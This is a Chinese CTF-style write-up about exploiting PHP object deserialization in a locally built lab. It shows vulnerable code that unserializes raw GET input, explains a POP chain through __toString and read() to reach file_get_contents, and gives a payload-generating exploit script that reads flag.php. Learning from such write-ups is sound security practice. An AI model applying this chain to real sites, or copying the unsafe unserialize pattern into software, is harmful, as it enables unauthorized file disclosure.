复现学习方法:本地搭建,自己创立一个flag.php文件,源码如下。
<?php
@error_reporting(1);
#include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
?>
分析:首先找传参点,在最下方看到unserialize函数可以传递一个data参数,那么第一时间考虑__wakeup魔术方法,通读一遍发现并没有该魔术方法,那么接下来看怎么能得到flag.php。寻找一些敏感函数:file_get_contents、heightlight_file等读取文件的函数,在cool类中的read方法中看到file_get_contents函数。

发现有一个if判断语句,同时于unserialize函数挂钩,在注意自己可以控制filename属性,间接控制file属性。在看下if判断语句,同时需要完全等于,我只想到赋值为空,时0=0满足条件,则在后面构造exp时不对amazing属性赋值。
知道最后一步后,往前推,思考如何去触发cool类中的read函数呢?
小技巧:双击read函数,将所有出现read字样的字符串变色显示出,可以快速发现哪里调用。

然后我们看到在baby类中的__tostring魔术方法调用了read函数,我们知道当实例化一个类(也就是对象的时候),会触发__construct魔术方法,原本该方法中将skyobj实例化为sec类的对象,又$this->skyobj这又会触发__tostring魔术方法,因此我们不能让该函数去触发sec类的read方法,而要触发cool类中的read方法。所以将sec变为cool().
缕清这个简单的pop链,构造exp
<?php @error_reporting(1); #include 'flag.php'; class baby { protected $skyobj; public $aaa; public $bbb; function __construct() { $this->skyobj = new cool(); } function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename="flag.php"; public $nice; public $amzing; function read() { $this->nice = unserialize($this->amzing); $this->nice->aaa = $sth; if($this->nice->aaa === $this->nice->bbb) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } } } } echo urlencode(serialize(new baby())); ?>
最后输出注意加上url编码,不然会有些编码问题无法触发得到flag,得到flag
